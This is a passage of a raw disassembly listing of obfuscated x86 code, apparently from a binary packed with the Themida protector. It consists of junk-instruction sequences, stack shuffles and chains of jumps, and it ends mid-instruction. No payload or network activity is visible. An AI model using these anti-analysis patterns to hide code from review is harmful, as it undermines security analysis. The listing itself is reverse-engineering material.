loc_565D27 ; --------------------------------------------------------------------------- loc_56368B: ; CODE XREF: sub_562ABA+6A1Cj sub bl, ah add bl, 16h pop ax movzx eax, al jmp loc_56272A ; --------------------------------------------------------------------------- loc_56369A: ; CODE XREF: sub_562ABA+B65Aj sub edi, esi sub edi, 6F7043F1h pop esi jmp loc_56C28F ; --------------------------------------------------------------------------- loc_5636A8: ; CODE XREF: sub_562ABA-1B0Dj add edi, 4 xchg edi, [esp+46h+var_46] jmp loc_56555A ; --------------------------------------------------------------------------- loc_5636B3: ; CODE XREF: sub_562ABA+EB93j xor edi, 0D5AA5F0Ch add ebx, edi pop edi add ebx, 4 push ebx push [esp+46h+var_42] mov ebx, [esp+4Ah+var_4A] jmp loc_56967B ; --------------------------------------------------------------------------- loc_5636CF: ; CODE XREF: sub_562ABA-F07j sub esp, 4 mov [esp+0], edx push esi push ecx mov ecx, 284B4C73h jmp loc_56B119 ; --------------------------------------------------------------------------- loc_5636E1: ; CODE XREF: sub_562ABA+1258j sub edx, ebx jmp loc_564B30 ; --------------------------------------------------------------------------- loc_5636E8: ; CODE XREF: sub_562ABA+6A96j mov eax, [esp+16h+var_16] push edi jmp loc_56203F ; --------------------------------------------------------------------------- loc_5636F1: ; CODE XREF: sub_562ABA+9796j mov eax, 4E7350BBh add eax, 70DA2809h or eax, 518A3106h or eax, 43B700E9h jmp loc_56F9D9 ; --------------------------------------------------------------------------- loc_56370A: ; CODE XREF: sub_562ABA+377j mov [esp+4Ah+var_4A], ebx push 4B6Ah mov [esp+4Eh+var_4E], eax mov eax, 65A94F84h jmp loc_56C7BB ; --------------------------------------------------------------------------- loc_56371F: ; CODE XREF: sub_562ABA+7864j add eax, 7CB2296Ch push [esp+4Eh+var_4E] mov esi, [esp+52h+var_52] jmp loc_55E4F0 ; --------------------------------------------------------------------------- loc_56372F: ; CODE XREF: sub_562ABA+9718j sub ebx, 48F2733Bh sub ebx, esi add ebx, 48F2733Bh mov esi, [esp+52h+var_52] add esp, 4 sub ebx, eax add ebx, 0D351169h jmp loc_5654F4 ; --------------------------------------------------------------------------- loc_563750: ; CODE XREF: sub_562ABA+C28Bj mov [esp+4Eh+var_4E], esp add [esp+4Eh+var_4E], 4 pop edi jmp loc_56F797 ; --------------------------------------------------------------------------- loc_56375D: ; CODE XREF: sub_562ABA+D7Fj sub eax, edx pop edx sub esi, eax mov eax, [esp+46h+var_46] jmp loc_56B248 ; --------------------------------------------------------------------------- loc_56376A: ; CODE XREF: sub_562ABA+AE7j neg esi add esi, 492A6009h add eax, esi mov esi, [esp+0] push ecx mov ecx, esp add ecx, 4 jmp loc_56B80F ; --------------------------------------------------------------------------- loc_563785: ; CODE XREF: sub_562ABA+F9D7j mov ecx, [esp+32h+var_32] push eax jmp loc_56B176 ; --------------------------------------------------------------------------- loc_56378E: ; CODE XREF: sub_55F392+Aj add ah, 0C7h push [esp+36h+var_36] mov ebx, [esp+3Ah+var_3A] add esp, 4 jmp loc_5614DD ; --------------------------------------------------------------------------- loc_5637A2: ; CODE XREF: sub_562ABA+728Ej add edi, ebp pop ebp push ebp mov ebp, 2 add edi, ebp push [esp+36h+var_36] mov ebp, [esp+3Ah+var_3A] add esp, 4 push ebx push esp pop ebx push ebp mov ebp, 4 add ebx, ebp mov ebp, [esp+3Eh+var_3E] jmp loc_56A8CC ; --------------------------------------------------------------------------- loc_5637CC: ; CODE XREF: sub_562ABA-326Dj sub esi, 36C35838h pop ebp add edx, esi jmp loc_56ECB8 ; --------------------------------------------------------------------------- loc_5637DA: ; CODE XREF: sub_562ABA-3E5Aj add ebp, edi pop edi jmp loc_55FBDD ; --------------------------------------------------------------------------- loc_5637E2: ; CODE XREF: sub_562ABA+748Cj mov edi, [esp+22h+var_22] add esp, 4 jmp loc_5603C1 ; --------------------------------------------------------------------------- loc_5637F0: ; CODE XREF: sub_562ABA+E3CEj add edi, ebp pop ebp push ebp mov ebp, 2F7544C2h add edi, ebp mov ebp, [esp+1Eh+var_1E] add esp, 4 push [esp+1Ah+var_1A] jmp loc_56E01B ; --------------------------------------------------------------------------- loc_563809: ; CODE XREF: sub_562ABA-1B5Ej xchg ebx, esi push edi mov edi, 6BA6E5Dh and esi, edi pop edi sub esi, 3F80805h add ebp, 37062BEFh sub ebp, esi sub ebp, 37062BEFh pop esi jmp loc_56E455 ; --------------------------------------------------------------------------- loc_56382E: ; CODE XREF: sub_562ABA+9E89j mov edx, 15827475h xor edx, 66B618AFh jmp loc_56375D ; --------------------------------------------------------------------------- loc_56383E: ; CODE XREF: sub_562ABA+CD3Ej add ecx, 4 push edi mov edi, 0F78772Eh jmp loc_5614D0 ; --------------------------------------------------------------------------- loc_56384F: ; CODE XREF: sub_562ABA-2F7Bj add [esp+16h+var_12], 0A640027h jmp loc_563A2D ; --------------------------------------------------------------------------- loc_56385C: ; CODE XREF: sub_562ABA+F05Aj push esp pop ebx jmp loc_562A4F ; --------------------------------------------------------------------------- loc_563863: ; CODE XREF: sub_562ABA+C99Ej add esi, 4 sub esi, 4 xchg esi, [esp+16h+var_16] pop esp mov [esp+12h+var_12], eax jmp loc_5613D0 ; --------------------------------------------------------------------------- loc_563878: ; CODE XREF: sub_562ABA+78F5j neg ebx add ebx, 4D3A358Fh push ebx jmp loc_562BF6 ; --------------------------------------------------------------------------- loc_563886: ; CODE XREF: sub_562ABA+340Fj mov [esp+16h+var_16], edx push eax push 1C1E38D8h pop eax sub eax, 6D1847E4h inc eax sub eax, 0AF05F0D5h push eax sub [esp+1Eh+var_1E], 6B6A5C05h pop edx add edx, 6B6A5C05h pop eax add edx, edi push eax pop dword ptr [edx] mov edx, [esp+16h+var_16] add esp, 4 pop eax push edx jmp loc_56409F ; --------------------------------------------------------------------------- loc_5638BD: ; CODE XREF: sub_562ABA+803Aj pop ebp xor ebp, 27A4649h pop ebx and eax, ebp push [esp+0Ah+var_C+2] jmp loc_5621B2 ; --------------------------------------------------------------------------- loc_5638CF: ; CODE XREF: sub_562ABA+B5A0j sub [esp+0Eh+var_8+2], 1B487FCEh push edi jmp loc_571B19 ; --------------------------------------------------------------------------- loc_5638DD: ; CODE XREF: sub_562ABA-38D7j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+48h+var_4A+2] jmp loc_564AED ; --------------------------------------------------------------------------- loc_5638F2: ; CODE XREF: sub_562ABA+2F31j add edi, eax sub edi, 7BC30E46h pop eax push edi push [esp+48h+var_46+2] pop edi pop [esp+48h+var_4A+2] pop esp or edx, eax shl edx, 1 jmp loc_562E1C ; --------------------------------------------------------------------------- loc_56390E: ; CODE XREF: sub_562ABA+4AA7j mov ebp, edi pop edi sub ebp, 0C6EE6ADh add esi, ebp mov ebp, [esp+3Ch+var_3E+2] add esp, 4 pop edi jmp loc_56F499 ; --------------------------------------------------------------------------- loc_563925: ; CODE XREF: sub_562ABA+8DFAj sub esp, 4 mov [esp+38h+var_3A+2], esi jmp loc_5633FE ; --------------------------------------------------------------------------- loc_563930: ; CODE XREF: sub_562ABA-11ADj push dword ptr [esp+4] pop esi pop [esp+4+var_4] mov esp, [esp+0] mul cx push small 181Bh mov word ptr [esp+2+var_4+2], dx push ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56394E: ; CODE XREF: sub_562ABA-1C0j mov [esp+32h+var_32], ebp mov ebp, 42E95B28h sub ebx, ebp pop ebp or ebx, 0C6C0EF2h add ebx, 11004107h mov ecx, ebx push dword ptr [esp+0] mov ebx, [esp+32h+var_32] add esp, 4 push 7B16h mov [esp+32h+var_32], eax jmp loc_56679F ; --------------------------------------------------------------------------- loc_563980: ; CODE XREF: sub_562ABA-1768j push [esp-4+arg_0] pop ebp add esp, 4 xor esi, [esp-8+arg_4] xor [esp-8+arg_4], esi xor esi, [esp-8+arg_4] mov esp, [esp-8+arg_4] push 4DE3h mov [esp-4+arg_0], ecx push eax mov eax, 193E3274h mov ecx, 7D90AEADh sub ecx, eax pop eax push ebx push edi push 5F8A6FA7h pop edi jmp loc_569B5D ; --------------------------------------------------------------------------- loc_5639B9: ; CODE XREF: sub_562ABA+9F7j mov edx, 954FDDD4h add edx, 28814882h sub edx, 14375773h sub edx, edi add edx, 14375773h jmp loc_56B236 ; --------------------------------------------------------------------------- loc_5639D7: ; CODE XREF: sub_562ABA+5505j mov ebx, [esp+0] add esp, 4 mov esi, [esp+0Ah+var_C+2] sub esp, 4 mov [esp+0], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0] jmp loc_569720 ; --------------------------------------------------------------------------- loc_5639FA: ; CODE XREF: sub_562ABA-3B1Dj pop edi add ecx, eax push eax mov eax, 3735607Eh not eax inc eax push ebx jmp loc_5707C9 ; --------------------------------------------------------------------------- loc_563A0C: ; CODE XREF: sub_55F777+Cj shl ebp, 7 sub ebp, 52E174E1h jmp loc_571935 ; --------------------------------------------------------------------------- loc_563A1A: ; CODE XREF: sub_5720B7+Aj push ecx mov ecx, 1DD26500h push ecx xor [esp+3Ah+var_3A], 3C82790Dh jmp loc_57132C ; --------------------------------------------------------------------------- loc_563A2D: ; CODE XREF: sub_562ABA+D9Dj add [esp+16h+var_12], edi sub [esp+16h+var_12], 0A640027h add [esp+16h+var_12], 66220272h sub [esp+16h+var_12], 3615764h sub esp, 4 mov [esp+1Ah+var_1A], edx push 23E6h mov [esp+1Eh+var_1E], ecx mov ecx, 469E308Ah jmp loc_56A547 ; --------------------------------------------------------------------------- loc_563A61: ; CODE XREF: sub_562ABA+9B23j pop ebx push bx mov bl, 0F3h xor ch, bl jmp loc_56449E ; --------------------------------------------------------------------------- loc_563A6D: ; CODE XREF: sub_562ABA-8A8j mov [esp+18h+var_1A+2], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+18h+var_1A+2] pop esp mov [esp+14h+var_16+2], ecx push 3FAF8955h pop ecx jmp loc_567BF1 ; --------------------------------------------------------------------------- loc_563A8C: ; CODE XREF: sub_562ABA+78C4j mov ebx, ebp mov ebp, [esp+14h+var_16+2] add esp, 4 mov eax, 279D30D2h jmp loc_566209 ; --------------------------------------------------------------------------- loc_563A9E: ; CODE XREF: sub_562ABA-7B8j not ebp xchg ebp, ecx xor [esp+46h+var_46], ecx xor ecx, [esp+46h+var_46] xor [esp+46h+var_46], ecx mov eax, [esp+46h+var_46] push edx jmp loc_55FC0C ; --------------------------------------------------------------------------- loc_563AB4: ; CODE XREF: sub_562ABA+C0A6j pop edx jmp loc_5606BB ; --------------------------------------------------------------------------- loc_563ABA: ; CODE XREF: sub_562ABA+6E1j add eax, 0CAA3C61h xor ecx, eax jmp loc_56D024 ; --------------------------------------------------------------------------- loc_563AC6: ; CODE XREF: sub_562ABA+6B0Ej pop dword ptr [edi+24h] loc_563AC9: ; CODE XREF: sub_562ABA+15CCj push esi jmp loc_565376 ; --------------------------------------------------------------------------- loc_563ACF: ; CODE XREF: sub_562ABA+B808j mov [esp-0Ch+arg_8], ebx jmp loc_55F7E7 ; --------------------------------------------------------------------------- loc_563AD7: ; CODE XREF: sub_562ABA-FEEj xchg eax, [esp+26h+var_28+2] pop esp mov ax, word ptr [esp+22h+var_22] push 293Ah jmp loc_55FB44 ; --------------------------------------------------------------------------- loc_563AE9: ; CODE XREF: sub_562ABA-1C38j sub ebp, 397D0B14h mov ecx, [esp+48h+var_4A+2] push ebp jmp loc_56A9F8 ; --------------------------------------------------------------------------- loc_563AF8: ; CODE XREF: sub_562ABA+443Ej mov esi, esp add esi, 4 push ecx jmp loc_562B6E ; --------------------------------------------------------------------------- loc_563B06: ; CODE XREF: sub_562ABA+3970j mov eax, edx pop edx push 936C8FC0h pop ebx add ebx, 1A8116B0h add ebx, eax jmp loc_56B779 ; --------------------------------------------------------------------------- loc_563B1C: ; CODE XREF: sub_562ABA-2243j mov ebx, [esp+42h+var_42] jmp loc_56DA5D ; --------------------------------------------------------------------------- loc_563B24: ; CODE XREF: sub_562ABA+A612j push edx mov edx, 5FDA151Eh xchg ebp, edx dec ebp xchg ebp, edx jmp loc_55EFA2 ; --------------------------------------------------------------------------- loc_563B34: ; CODE XREF: sub_562ABA+FB77j mov esi, [esp+46h+var_46] add esp, 4 add esp, 4 or eax, eax jz loc_564D9F push dword ptr [edi+1Ch] push 5F8Bh jmp loc_569573 ; --------------------------------------------------------------------------- loc_563B58: ; CODE XREF: sub_562ABA+5E68j shr eax, 8 and eax, 4B1F69B6h jmp sub_55FCA5 ; --------------------------------------------------------------------------- loc_563B65: ; CODE XREF: sub_562ABA+2A09j add esp, 4 mov edx, [esp+42h+var_42] push edx mov edx, esp add edx, 4 push ecx mov ecx, 4 add edx, ecx jmp loc_56E491 ; --------------------------------------------------------------------------- loc_563B84: ; CODE XREF: sub_562ABA+8777j push esi push ebx mov ebx, 24B1490Eh shl ebx, 3 neg ebx xor ebx, 44366E43h add ebx, 243D7128h jmp loc_563EC9 ; --------------------------------------------------------------------------- loc_563BA1: ; CODE XREF: sub_562ABA+F6F8j pop edi xor ecx, 32F1232Fh push ebp mov ebp, 3C6B2855h inc ebp xor ebp, 26A30694h jmp loc_571EC5 ; --------------------------------------------------------------------------- loc_563BBA: ; CODE XREF: sub_562ABA-3B33j mov eax, 7A146BEh xor eax, 3EF42097h add edx, eax pop eax sub edx, eax sub edx, 39556629h push ebp jmp loc_56A184 ; --------------------------------------------------------------------------- loc_563BD5: ; CODE XREF: sub_562ABA+431Ej xchg eax, ebp jmp loc_56C074 ; --------------------------------------------------------------------------- loc_563BDB: ; CODE XREF: Themida_:00562708j mov [esp+0], ecx push esi mov esi, esp push edx mov edx, 4 add esi, edx pop edx push edi mov edi, 4 sub esi, edi pop edi xchg esi, [esp+32h+var_32] jmp loc_55EC21 ; --------------------------------------------------------------------------- loc_563BFB: ; CODE XREF: sub_562ABA-1B85j xchg edx, [esp+44h+var_46+2] pop esp loc_563BFF: ; CODE XREF: sub_562ABA-109Bj sub esp, 4 mov [esp+44h+var_46+2], edx push esi push esp mov esi, [esp+4Ch+var_4E+2] jmp loc_564325 ; --------------------------------------------------------------------------- loc_563C12: ; CODE XREF: sub_562ABA+3929j sub bh, 9Bh jmp loc_5670FE ; --------------------------------------------------------------------------- loc_563C1A: ; CODE XREF: sub_562ABA-3E28j mov ecx, esp add ecx, 4 jmp loc_5685CB ; --------------------------------------------------------------------------- loc_563C27: ; CODE XREF: sub_562ABA+F11Dj mov eax, [esp+0] jmp loc_564C68 ; --------------------------------------------------------------------------- loc_563C2F: ; CODE XREF: sub_562ABA+6A65j add ecx, edi pop edi xchg ecx, [esp+2Ah+var_2C+2] jmp loc_56CB5C ; --------------------------------------------------------------------------- loc_563C3A: ; CODE XREF: sub_562ABA+F100j push 3302h mov [esp+0], ecx push 4CBBh push esp jmp loc_56732B ; --------------------------------------------------------------------------- loc_563C4D: ; CODE XREF: sub_562ABA+F132j mov esi, 4 add ebx, esi pop esi jmp loc_56AD80 ; --------------------------------------------------------------------------- loc_563C5A: ; CODE XREF: sub_562ABA+6B08j sub esi, 0FFFFFFFFh jmp loc_56A9DE ; --------------------------------------------------------------------------- loc_563C65: ; CODE XREF: sub_562ABA+48EFj and edx, 542F12DEh push eax mov eax, 297C1FB1h xor eax, 79BD2623h add edx, eax jmp loc_564DCA ; --------------------------------------------------------------------------- loc_563C7D: ; CODE XREF: sub_562ABA+6CD1j or esi, 1BC10A59h push eax mov eax, 482A6C53h neg eax jmp loc_568C0E ; --------------------------------------------------------------------------- loc_563C90: ; CODE XREF: sub_562ABA+CAB6j push ebp jmp loc_56BE78 ; --------------------------------------------------------------------------- loc_563C96: ; CODE XREF: sub_562ABA-44DCj pop esi jmp loc_563FD8 ; --------------------------------------------------------------------------- loc_563C9C: ; CODE XREF: sub_562ABA-144Fj push esi mov esi, 447E081Eh mov edx, esi pop esi jmp loc_56BD54 ; --------------------------------------------------------------------------- loc_563CAA: ; CODE XREF: sub_562ABA+A4A6j push dword ptr [esp+4] pop eax jmp loc_566709 ; --------------------------------------------------------------------------- loc_563CB4: ; CODE XREF: sub_562ABA+EFC4j add ebp, esi add ebp, 237F26A5h jmp loc_5667A6 ; --------------------------------------------------------------------------- loc_563CC1: ; CODE XREF: sub_55E72D+Bj pop eax pop ebp push esi dec dword ptr [esp+0] jmp loc_56181C ; --------------------------------------------------------------------------- loc_563CCC: ; CODE XREF: sub_562ABA-343Cj mov ebp, 16B7546Fh xor ebp, esi pop esi add ebx, ebp push [esp+12h+var_12] jmp loc_56BC6F ; --------------------------------------------------------------------------- loc_563CDE: ; CODE XREF: sub_562ABA+E7F9j sub edi, 0CD055E2h sub edi, ebx push ecx mov ecx, 0CD055E2h add edi, ecx jmp loc_564A72 ; --------------------------------------------------------------------------- loc_563CF3: ; CODE XREF: sub_55FCA5+32Cj xor edi, [esp+1Ah+var_1A] xor [esp+1Ah+var_1A], edi xor edi, [esp+1Ah+var_1A] pop esp sub esp, 4 mov [esp+1Ah+var_1A], edx mov edx, 0A816EAh dec edx push ebx mov ebx, 54670B4Dh jmp loc_5636E1 ; --------------------------------------------------------------------------- loc_563D17: ; CODE XREF: sub_562ABA+8381j mov eax, 4D1A3F2Ch xor esi, eax pop eax sub edi, 4FA625E3h jmp loc_560D5D ; --------------------------------------------------------------------------- loc_563D2A: ; CODE XREF: sub_562ABA+F398j mov bh, dl mov al, bh pop ebx jmp loc_560004 ; --------------------------------------------------------------------------- loc_563D34: ; CODE XREF: sub_562ABA+4842j or ebp, 55F74CB0h inc ebp xor ebp, 55F7FFFDh add ecx, ebp mov ebp, [esp+16h+var_16] jmp loc_563FBA ; --------------------------------------------------------------------------- loc_563D4B: ; CODE XREF: sub_562ABA-252Cj mov [esp+26h+var_28+2], edx jmp loc_56CF9D ; --------------------------------------------------------------------------- loc_563D53: ; CODE XREF: sub_562ABA+EA9Fj sub esp, 4 jmp loc_572AA1 ; --------------------------------------------------------------------------- loc_563D5B: ; CODE XREF: sub_562ABA+9FC8j sub esp, 4 jmp loc_568546 ; --------------------------------------------------------------------------- loc_563D66: ; CODE XREF: sub_562ABA+6834j push ebp mov ebp, 7DBA025Ch xor ebp, 5CDC0D4Ch or ebp, 77B454DDh sub ebp, 12754B37h sub ebp, 223D95E0h mov esi, ebp pop ebp sub esp, 4 mov [esp+32h+var_32], ebx mov ebx, 64D7960h add esi, 4FF878B7h sub esi, 1B7B1FB9h add esi, ebx push 7FD2h mov [esp+36h+var_36], ebx mov ebx, 1B7B1FB9h jmp loc_569C81 ; --------------------------------------------------------------------------- loc_563DB2: ; CODE XREF: sub_562ABA+271Dj mov edx, esp jmp loc_566328 ; --------------------------------------------------------------------------- loc_563DB9: ; CODE XREF: sub_562ABA+BE79j inc edx add edx, 7FA79BC9h jmp loc_56A290 ; --------------------------------------------------------------------------- loc_563DC5: ; CODE XREF: sub_562ABA+5461j mov [esp+36h+var_36], edx push 7637h jmp loc_56566C ; --------------------------------------------------------------------------- loc_563DD2: ; CODE XREF: sub_562ABA+837Aj mov [esp+3Ah+var_3A], eax jmp loc_55F9A5 ; --------------------------------------------------------------------------- loc_563DDA: ; CODE XREF: sub_562ABA-3E69j sub edi, ebx jmp loc_55F648 ; --------------------------------------------------------------------------- loc_563DE1: ; CODE XREF: sub_562ABA+73C5j pop eax sub al, bl mov ebx, [esp+22h+var_22] jmp loc_56D6F2 ; --------------------------------------------------------------------------- loc_563DEC: ; CODE XREF: sub_562ABA+9782j pop esi mov esi, [esp+1Eh+var_1E] add esp, 4 add esi, 4 sub esi, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_56DC17 ; --------------------------------------------------------------------------- loc_563E16: ; CODE XREF: sub_562ABA+E478j mov dl, 49h xchg bh, dl push ebx not byte ptr [esp+22h+var_22+1] jmp loc_56122C ; --------------------------------------------------------------------------- loc_563E24: ; CODE XREF: sub_55FCA5-1690j push 2696h mov [esp+26h+var_28+2], ecx mov ecx, 3D0322F4h add ecx, 0FFFFFFFFh push edi mov edi, 4BDC1201h add ecx, 5B213387h sub ecx, edi sub ecx, 5B213387h pop edi jmp loc_569072 ; --------------------------------------------------------------------------- loc_563E4E: ; CODE XREF: sub_562ABA+E23Fj sub edi, 0D770EAA8h and eax, edi mov edi, [esp+26h+var_28+2] jmp loc_564855 ; --------------------------------------------------------------------------- loc_563E5E: ; CODE XREF: sub_562ABA-17B3j add esp, 4 push edx mov edx, 1 sub ecx, edx pop edx sub ecx, 7D26F8AEh jmp loc_56D986 ; --------------------------------------------------------------------------- loc_563E75: ; CODE XREF: sub_562ABA-26Dj add ecx, 0A1BC1E06h sub eax, ecx pop ecx mov ebp, eax jmp loc_56AE13 ; --------------------------------------------------------------------------- loc_563E85: ; CODE XREF: sub_562ABA+9F5Bj push 3E22h mov [esp+22h+var_22], ebx mov ebx, 4 mov edi, ebx mov ebx, [esp+22h+var_22] add esp, 4 mov ecx, edi jmp loc_56FD9A ; --------------------------------------------------------------------------- loc_563EA4: ; CODE XREF: sub_562ABA-306Aj add ecx, 2CAE5188h add ecx, 8B671BC5h xor ebp, ecx jmp loc_570E59 ; --------------------------------------------------------------------------- loc_563EB7: ; CODE XREF: sub_562ABA+676Dj mov [esp+16h+var_16], ebx jmp loc_561EC1 ; --------------------------------------------------------------------------- loc_563EBF: ; CODE XREF: sub_55F788+2Ej sub si, 0D0FDh jmp loc_56F5B3 ; --------------------------------------------------------------------------- loc_563EC9: ; CODE XREF: sub_562ABA+10E2j add ebx, 3F7EB505h mov esi, ebx pop ebx mov edx, esi pop esi mov eax, edx jmp loc_564EB5 ; --------------------------------------------------------------------------- loc_563EDC: ; CODE XREF: sub_562ABA+38Cj sub esp, 4 mov [esp+1Eh+var_1E], ebp mov ebp, 4 jmp loc_562781 ; --------------------------------------------------------------------------- loc_563EEF: ; CODE XREF: sub_562ABA-1F77j add esp, 4 mov eax, [esp+6+var_8+2] add esp, 4 jmp loc_568B0A ; --------------------------------------------------------------------------- loc_563F00: ; CODE XREF: sub_562ABA+79C1j not eax xor eax, 6D719F0h shr eax, 3 not eax add eax, 11B7B0CEh add ebx, eax mov eax, [esp+2+var_4+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5719E1 ; --------------------------------------------------------------------------- loc_563F27: ; CODE XREF: sub_55FCA5+2C7j mov ax, word ptr [esp+6+var_8+2] push edi push esp mov edi, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], edx mov edx, 70CD5945h jmp loc_5713E6 ; --------------------------------------------------------------------------- loc_563F46: ; CODE XREF: sub_562ABA-3E08j mov [esp+1Ah+var_1A], edi jmp loc_56BC60 ; --------------------------------------------------------------------------- loc_563F4E: ; CODE XREF: sub_562ABA+3D06j sub esp, 4 mov [esp+1Eh+var_1E], edx mov edx, 3E314563h mov esi, 3E314567h jmp loc_56B3F0 ; --------------------------------------------------------------------------- loc_563F66: ; CODE XREF: Themida_:00560D43j mov edx, esp jmp loc_565FF0 ; --------------------------------------------------------------------------- lodsb push ebx push eax push ecx mov cl, 6Ah neg cl add cl, 56h jmp loc_56C0E4 ; --------------------------------------------------------------------------- loc_563F7D: ; CODE XREF: sub_562ABA+E07Aj add edi, edx mov edx, [esp+2Ah+var_2C+2] add esp, 4 push esi jmp loc_56F3F0 ; --------------------------------------------------------------------------- loc_563F8E: ; CODE XREF: sub_562ABA-37ADj pop esp mov cx, word ptr [esp+48h+var_4A+2] push 4FEFh mov [esp+4Ch+var_4E+2], edi push esp push [esp+50h+var_52+2] mov edi, [esp+54h+var_56+2] add esp, 4 jmp loc_56E175 ; --------------------------------------------------------------------------- loc_563FAA: ; CODE XREF: sub_562ABA+87A6j mov ebx, 46863469h xor ebx, 2CEB446Ah jmp loc_55E406 ; --------------------------------------------------------------------------- loc_563FBA: ; CODE XREF: sub_562ABA+128Cj add esp, 4 xchg ecx, [esp+12h+var_12] mov esp, [esp+12h+var_12] jmp loc_55F021 ; --------------------------------------------------------------------------- loc_563FCB: ; CODE XREF: sub_562ABA-3CD5j mov edx, 43986B19h add eax, edx pop edx jmp loc_568D23 ; --------------------------------------------------------------------------- loc_563FD8: ; CODE XREF: sub_562ABA+11DDj add eax, ebx pop ebx jmp loc_5651EB ; --------------------------------------------------------------------------- loc_563FE0: ; CODE XREF: sub_562ABA+A213j push 29B3h jmp loc_56BE8B ; --------------------------------------------------------------------------- loc_563FEA: ; CODE XREF: sub_562ABA-4288j mov esi, 1FD905F6h or esi, 3D3259A5h push 4401h mov [esp+12h+var_12], edx jmp loc_564371 ; --------------------------------------------------------------------------- loc_564002: ; CODE XREF: sub_562ABA-3E4j push 3953h mov [esp+16h+var_16], ebx mov ebx, 70B559DDh mov edx, ebx pop ebx mov esi, edx jmp loc_5689BA ; --------------------------------------------------------------------------- loc_564019: ; CODE XREF: sub_562ABA+3DAj pop esp pop [esp+22h+var_22] mov esp, [esp+1Eh+var_1E] push [esp+1Eh+var_1E] push [esp+22h+var_22] push [esp+26h+var_28+2] mov eax, [esp+2Ah+var_2C+2] add esp, 4 add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+26h+var_28+2] pop esp mov [esp+22h+var_22], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+22h+var_22] pop esp push 29DCh mov [esp+22h+var_22], esi push esp pop esi sub esp, 4 mov [esp+26h+var_28+2], edx push ecx jmp loc_56354D ; --------------------------------------------------------------------------- loc_56406C: ; CODE XREF: sub_562ABA+D2DBj xor [esp+2Ah+var_2C+2], eax xor eax, [esp+2Ah+var_2C+2] jmp loc_5662D8 ; --------------------------------------------------------------------------- loc_564077: ; CODE XREF: sub_562ABA+ED31j mov edx, esp jmp loc_57210E ; --------------------------------------------------------------------------- loc_56407E: ; CODE XREF: sub_562ABA+2657j add esp, 4 or eax, eax jz loc_563AC9 push 6717h mov [esp+2Ah+var_2C+2], eax push ebp mov ebp, 1Ch jmp loc_572439 ; --------------------------------------------------------------------------- loc_56409F: ; CODE XREF: sub_562ABA+DFEj mov edx, 24h sub edx, 159F3590h jmp sub_55E87E ; --------------------------------------------------------------------------- loc_5640AF: ; CODE XREF: sub_562ABA+4086j pop ebp push ecx jmp loc_56551A ; --------------------------------------------------------------------------- loc_5640B6: ; CODE XREF: sub_562ABA+328Bj mov edx, esp add edx, 4 jmp loc_560281 ; --------------------------------------------------------------------------- loc_5640C3: ; CODE XREF: sub_562ABA+C2B7j push ecx mov ecx, 62AF5EB9h sub ecx, 591B1143h xor ecx, 22C55F89h mov esi, ecx pop ecx mov ecx, 0D4AEED02h add ecx, 241F64EEh add ecx, esi sub ecx, 241F64EEh jmp loc_56DFEF ; --------------------------------------------------------------------------- loc_5640F0: ; CODE XREF: sub_562ABA+D96Cj mov esp, [esp+12h+var_12] jmp loc_56ED60 ; --------------------------------------------------------------------------- loc_5640F8: ; CODE XREF: sub_562ABA-1D55j mov esi, [esp+2Ah+var_2C+2] add esp, 4 xor edi, 0DBCBC6ABh add ecx, edi pop edi add ecx, 2 xchg ecx, [esp+22h+var_22] pop esp rol byte ptr [esp+1Eh+var_1E], cl pushf jmp loc_572AAA ; --------------------------------------------------------------------------- loc_56411D: ; CODE XREF: sub_562ABA+B8DEj push eax mov eax, 5FF60138h jmp loc_56B72E ; --------------------------------------------------------------------------- loc_564128: ; CODE XREF: sub_562ABA+3741j xor edi, [esp+26h+var_28+2] pop esp xor ebx, [esp+22h+var_22] xor [esp+22h+var_22], ebx xor ebx, [esp+22h+var_22] mov esp, [esp+22h+var_22] or edx, eax shl edx, 1 push eax sub esp, 4 mov [esp+2Ah+var_2C+2], ebx push 4CD72123h jmp loc_562317 ; --------------------------------------------------------------------------- loc_564150: ; CODE XREF: sub_562ABA-1AF2j push [esp+0Ah+var_8+2] push dword ptr [esp+0] pop edx push 4FEh mov [esp+12h+var_12], esi push esp pop esi sub esp, 4 mov [esp+16h+var_16], edx mov edx, 4 add esi, edx pop edx add esi, 4 jmp loc_55F4EF ; --------------------------------------------------------------------------- loc_564178: ; CODE XREF: sub_562ABA+3B3Dj push ebp mov ebp, 30525D34h or ebp, 206F237Ah sub ebp, 13E73DF3h add esi, ebp pop ebp sub esi, 0DE0284E7h sub ebx, esi pop esi jmp loc_56A12F ; --------------------------------------------------------------------------- loc_56419B: ; CODE XREF: sub_562ABA+510Bj pop esp mov [esp+0Ah+var_C+2], ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp+0Ah+var_C+2], esp add [esp+0Ah+var_C+2], 4 pop ecx sub esp, 4 mov [esp+0Ah+var_C+2], edi mov edi, 5D584A0Ah shr edi, 3 not edi xor edi, eax xor eax, edi xor edi, eax neg eax jmp loc_569C92 ; --------------------------------------------------------------------------- loc_5641D4: ; CODE XREF: sub_562ABA+56B1j add esp, 4 sub edx, 79DE395Ah push edx mov esi, [esp+0Ah+var_C+2] add esp, 4 pop edx and [edi+1Ch], esi mov esi, [esp+2+var_4+2] push edx push esp pop edx add edx, 4 push 7A35h mov [esp+0Ah+var_C+2], edi push ebp mov ebp, 4 jmp loc_56F144 ; --------------------------------------------------------------------------- loc_56420A: ; CODE XREF: sub_562ABA+68DDj push ecx push ebp push 5FC96AE8h pop ebp push 1824h mov [esp+1Ah+var_1A], edi mov edi, 27AE3AC8h shl edi, 1 inc edi shl edi, 7 add edi, 5D2B4236h add ebp, edi mov edi, [esp+1Ah+var_1A] add esp, 4 not ebp sub ebp, 6BEF5225h add ebp, 0E35FE2A4h mov ecx, ebp pop ebp jmp loc_562CF8 ; --------------------------------------------------------------------------- loc_564249: ; CODE XREF: sub_562ABA-403Ej pop esp mov [esp+2Ah+var_2C+2], eax jmp loc_55E987 ; --------------------------------------------------------------------------- loc_564252: ; CODE XREF: sub_562ABA-27FDj pop ebx push esi mov esi, 4 add ebx, 22C71185h add ebx, 